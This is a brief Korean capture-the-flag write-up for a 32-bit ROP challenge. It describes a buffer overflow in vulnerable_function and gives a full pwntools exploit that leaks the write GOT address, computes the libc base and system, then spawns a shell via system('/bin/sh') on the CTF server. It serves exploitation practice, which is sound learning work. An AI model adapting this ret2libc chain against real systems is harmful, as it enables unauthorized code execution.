Anatis 2021. 4. 3. 01:38

Pw

 

1. Mitigation

GOT Overwire가 가능하고 실행권한이 없다.

 

2. 문제 확인

문제를 실행시키면 입력을 받고 헬로 월드를 출력해주고 종료한다.

 

3. 풀이

메인 함수에 vulnerable_function() 함수가 보이고 헬로월드를 출력해준다.

 

vulnerable_function함수를 보면 0x100만큼 입력는데 BOF가 일어나고 간단한 ROP 문제이다.

가젯을 구하고 RTL을하여 read got나 write got로 주소를 leak하여 system함수의 주소를 구하면 된다.

 

ROPgadget으로  pop pop pop ret 가젯을 찾아보니 바로 있다. 이제 익스를 해보자.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3021)
e = ELF('./rop')
lib = ELF('./libc.so.6')

pppr = 0x8048509
main = e.symbols['main']

payload = 'A'*140
payload += p32(e.plt['write'])
payload += p32(pppr)
payload += p32(1)
payload += p32(e.got['write'])
payload += p32(8)
payload += p32(e.symbols['main'])
r.sendline(payload)

leak = u32(r.recv(4))
libc = leak - lib.symbols['write']
system = libc + lib.symbols['system']
binsh = libc + next(lib.search('/bin/sh\x00'))

log.info('libc: ' + hex(libc))
log.info('system: ' + hex(system))

payload = 'A'*140
payload += p32(system)
payload += p32(0)
payload += p32(binsh)
r.sendline(payload)

r.interactive()